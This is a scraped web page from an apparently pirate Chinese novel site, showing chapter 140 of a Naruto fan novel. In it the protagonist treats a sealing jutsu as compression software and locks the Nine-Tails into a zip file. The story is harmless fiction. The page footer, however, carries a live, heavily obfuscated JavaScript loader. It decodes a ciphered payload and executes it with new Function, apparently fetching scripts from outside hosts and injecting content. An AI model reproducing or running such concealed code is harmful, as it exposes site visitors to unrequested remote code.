首页
[切换至繁体版]
返回

第140章 金刚封锁!封印九尾(第二更,3.7k)

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第140章金刚封锁!封印九尾(第二更,3.7k)
    下一刻,金刚封锁的代码框架就列在弘树的眼前:
    弘树的视线快速扫过这些文件结构,心中不由升起一股理解。
    原来如此————
    金刚封锁的本质,是一个「查克拉压缩封印程序」,但又不止如此。
    主要原理有点类似于7z/zip/等压缩包那样的软体。
    首先将一个软体程序通过单向加密压缩,然后再抽走秘钥,从而使得程序无法运行。
    金刚封锁的代码逻辑也异常清晰:
    第一步,通过【查克拉锁链生成.bat】,从施术者背部释放金色的查克拉锁链每条锁链本质上是一个独立的封印进程。
    它有自己的任务丶能量和状态,一旦释放,就会自动执行封印操作。
    每一条查克拉锁链各自独立运行丶互不干扰,可以单独进行封印,或是捆绑。
    第二步,【目标扫描定位.bat】会识别目标,读取目标的「查克拉数据句柄「,评估目标的查克拉总量。
    「句柄(Handle)」在计算机中,是系统识别一个对象的「编号」或「指针」。
    它不是数据本身,而是数据的「门牌号」。
    比如,一个文件的句柄可以告诉系统:这个文件在哪里丶能被谁访问。
    同理,查克拉数据句柄指的就是——忍者查克拉的「识别编号」。
    金刚封锁通过扫描这个句柄,就能找到目标查克拉在电脑中的位置,进而定位丶封印。
    第三步,也是最关键的—【查克拉压缩封印.bat】。
    这个模块会读取目标的查克拉数据,然后将其「压缩打包」成不可调用的状态。
    就像把一个可执行程序压缩成zip包一样,虽然文件还在,但已经无法运行。
    这也是金刚封锁这个封印术,在弘树理解中的原理。
    第四步,【密钥剥离存储.bat】会生成一个「解压密钥」,并且将这个密钥牢牢掌握在施术者手中。
    这个密钥实际上就是我们常见的解压密码。
    没有密钥,目标即使知道自己的查克拉被封印了,也无法解压丶无法调用。
    但如果输入解压密码,就能看到被压缩的各种小程序,小游戏,小视频。
    弘树的目光落在【参数配置模块】上。
    这里存储着各种可调节的参数:
    例如锁链的数量,消耗的查克拉等,总体来说就是多少卡生成一根锁链————多少卡才能操纵锁链进行封印的杂乱信息。
    而【生理接口调用】则是连接身体系统的桥梁。
    背部查克拉释放点丶经络系统丶查克拉控制————这些都是施展忍术所必需的「硬体调用」。
    其中,【漩涡血脉强化.d1】格外显眼这是漩涡一族的天赋加成,能提升封印效率,降低查克拉消耗。
    但是需要漩涡血脉才能够启用这个dII,很可惜,弘树现在没有。
    最后的【反馈系统】,则是实时监控整个忍术的运行状态。
    锁链是否命中?封印是否成功?查克拉还剩多少?则是由反馈系统来完成。
    弘树缓缓呼出一口气。
    他理解了,他已经完全的理解了这个忍术的作用,和这个忍术为什麽在原着中,即便是漩涡玖辛奈在最虚弱的时候使用出来,都能压制住九尾————
    甚至在封印中仅存的一点查克拉,都能压制住九尾。
    而是因为—
    尾兽是纯查克拉生物。
    对于普通忍者,封印查克拉只是「限制使用」。
    但对于尾兽,查克拉就是它们的本体,就是它们存在的根基。
    封印尾兽的查克拉=压缩尾兽的本体程序=直接压制尾兽的存在本身。
    这就像是————
    给一个游戏角色扣空蓝条,角色还能普攻。
    但给一个蓝条血条通用的角色扣空蓝条,那麽角色就死了————
    弘树的视线转向自己桌面上那个Q版的九尾图标。
    那个小狐狸此刻正缩在桌面角落,两只像素耳朵耷拉着,似乎感受到了某种不妙的气息。
    综上所述,金刚封锁算是对尾兽特攻的软体应用!
    弘树大致浏览了一下文件,确定里面没有需要什麽阴阳遁术性质之类的文件之后,便立刻点击了使用!
    【正在运行金刚封锁.ee」...】
    【正在调用生理接口」...】
    【警告:漩涡血脉强化.dII」调用失败,未检测到匹配的硬体(漩涡血脉)。程序将以标准模式运行,查克拉消耗与封印效率可能会受到影响。】
    一条警告弹窗在弘树的意识中一闪而过,但他毫不在意。
    没有硬体加速,最多就是CPU多费点劲。只要核心算法没问题,对他而言就够了。
    弘树打量着桌面。
    新的应用程式已经建立了桌面快捷方式,现在瞬间从里面蔓延出数根金色的封印锁链,朝着九尾奔袭而去!
    桌面上,装睡的九尾似乎感知到了什麽,它那对Q版萌哒哒的大眼睛警惕地扫视着四周,喉咙里发出低沉的咆哮。
    「小鬼,你在搞什麽鬼名堂?」
    搞什麽名堂?
    当然是整你这个背刺的二五仔喽————
    弘树的身影出现在它面前,面无表情,只是在脑海中下达了指令。
    【正在运行目标扫描定位.bat...】
    【开始扫描...】
    【扫描完成!发现目标查克拉数据句柄:0.0009BEEF—九喇嘛」。】
    【目标大小:~602.73MB】
    「找到了。」
    弘树的意识精准地锁定了九尾的「门牌号」。
    无论它的查克拉如何流动,如何咆哮,这个核心句柄是不会变的。
    【正在运行查克拉锁链生成.bat...】
    【根据参数配置.config,正在生成进程:锁链9...】
    嗡!
    九条纯金色的查克拉锁链,从桌面上的快捷方式中爆射而出,直至九尾图标所在的位置!
    「金刚封锁!?你从哪————」
    九喇嘛的反应几乎是本能的!它见识过这招太多次了!
    漩涡水户那女人就是靠这一招把它拉回封印里去的!
    可恶!
    面对呼啸而来的九条金色锁链,那个Q版的九尾图标并没有坐以待毙。它的像素狐狸脸上闪过一丝狠厉!
    只见它冷哼一声,整个图标瞬间化作一道暗红色的数据流光,没有丝毫犹豫,直接一头扎进了桌面上的一个文件夹里——【我的文档】!
    「嗖!」
    九条锁链精准地击中了图标刚才所在的位置,却只打了个空,在「桌面背景」上激起一阵数据的涟漪。
    【反馈系统—>封印失败警告:目标句柄丢失!目标已离开当前目录,查克拉压缩封印.bat」无法执行!】
    弘树的意识中闪过红色的警告弹窗,但他瞬间就洞察了问题所在。
    「第一次扫描,只锁定了它在桌面的位置句柄」。它一移动,这个门牌号就作废了。」
    桌面上,扑空的锁链在【我的文档】周围徘徊。
    文件夹里传来九尾的嘲讽:「没用的!只要本大爷换个地方,你那破忍术就成瞎子了!你还是没有水户小妞用的好啊~!」
    弘树没有搭理九尾的嘲讽。
    这可是他的精神世界,上一次弘树只是因为没什麽工具能够处理九尾,但这一次,既然下载了金刚封锁,而且弘树也详细浏览过金刚封锁的代码,那麽怎麽可能就这麽让九尾逃窜!?
    要知道,它之前还想让自己死在两个尾兽的夹击里呢!?
    弘树的思维精准地聚焦在之前扫描反馈的一个关键数据上:目标文件大小~602.73MB。
    「对了,就是这个!」弘树立刻把握住了关键。
    文件大小在弘树的精神世界一般来说都是代码量。
    但九尾应该算是特例,它本身并非是程序。
    但是九尾却依然有文件大小这个数据,这表明这极有可能是它的查克拉的大小。
    而对于九尾这种由查克拉构成的生物而言,其本体的大小(数据量)在短时间内是恒定的。
    它或许能改变文件名」和路径」,但无法瞬间改变自己庞大的体积」。
    就像是一个人,他忘记之前看的小电影的名字是什麽,在哪个文件夹了,又修改成什麽后缀名来方便隐藏————
    但只要他记得自己的电影有多大,那麽就能很轻松的找到对应的文件。(当然,前提是类似体积的文件不能有太多)
    弘树立刻在意识中重构了指令。他不再执行普通的扫描,而是向【目标扫描定位.bat】注入了一个新的丶更精确的过滤参数:/SIZE:602730000(即~602.73MB)。
    【目标扫描定位.bat】参数已更新。】
    【扫描模式:递归扫描(/S)+大小匹配(SIZE≈602.73MB)。正在启动...】
    一道无形的扫描波纹再次扩散。
    锁链飞速的从桌面上的快捷方式里蔓延,将锁链伸入了每一个文件夹里开始掏一掏————
    它粗暴地忽略所有几KB的文档丶几MB的图片,直奔那个独一无二的丶600MB级别的目标而去。
    进度条快速推进。
    【扫描:C:\Windows...未发现匹配体积目标。】
    【扫描:Usr【弘树】...】
    【匹配成功!于路径\Users\【弘树】\视频\木叶医院4.mp4发现符合体积目标(602.73MB)。】
    【重新分配目标句柄:0.0009VIDE0。】
    「找到了!居然伪装成视频文件?」弘树心中了然。无论九尾把自已的名字从「九喇嘛」改成「木叶医院4.mp4」,还是从桌面躲到视频文件夹,它那庞大的体积就像夜明珠藏在口袋里一样,根本无法掩盖。
    「锁定新句柄!执行封印!」
    九条金色锁链瞬间调转方向,不再理会空荡荡的桌面,而是如同精准的制导飞弹,直接射向那个伪装成视频文件的庞大查克拉集合体!
    「什麽?!你————」九尾的惊愕通过数据流传来,它惊叫着从文件夹里跳了出来!
    但没有用!!
    锁链毫无阻碍地缠上了木叶医院4.mp4,任其如何挣扎,都无法摆脱。
    下一刻,九尾也只好重新变回原型。
    「小鬼!弘树小鬼!我错了!你放开我,我把这里面的查克拉都交给你用好了吧!?」
    「而且,你不是要让你精神世界里的忍术变得可以被其他人理解使用吗?!」
    「本大爷可以帮你啊!」
    它惨叫着,哀求着,但是锁链根本没有搭理它,弘树也没有搭理它。
    「不!住手!」九尾感受到自身庞大的查克拉正在被飞速地打包丶压缩,面露惊恐!
    该死!要是离开了这个小鬼,它岂不是只能窝在玖辛奈的那个小蜗居里?那家伙整天不出门,它根本看不到什麽乐子啊!?
    可弘树铁了心要压缩它,根本没有在乎九尾的心情。
    【正在运行密钥剥离存储.bat...】
    【生成解压密钥...】
    【密钥已生成并存储至安全区域。】
    桌面上的九尾图标,最终被压缩成了一个带着金色锁链纹样的丶小巧的【九喇嘛.zip】压缩包。
    它静静地躺在桌面上,再也无法动弹和咆哮。
    弘树走到这个压缩包前,俯视着它。
    「真是的————你既然都知道我成长那麽快了,又何必想着弄死我呢————?」
    「你只要帮我度过各种危机,帮我把忍术转化成其他人能理解的形式,我还会亏待你不成?」
    「只要我变得足够强,强到所有人都只能按我的意志生活,到时候你们这些尾兽,不就能好好地生活在世界上了吗?」
    「非要想我死————」
    弘树低声的叹了口气,随后看向了飞雷神的代码。
    >
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();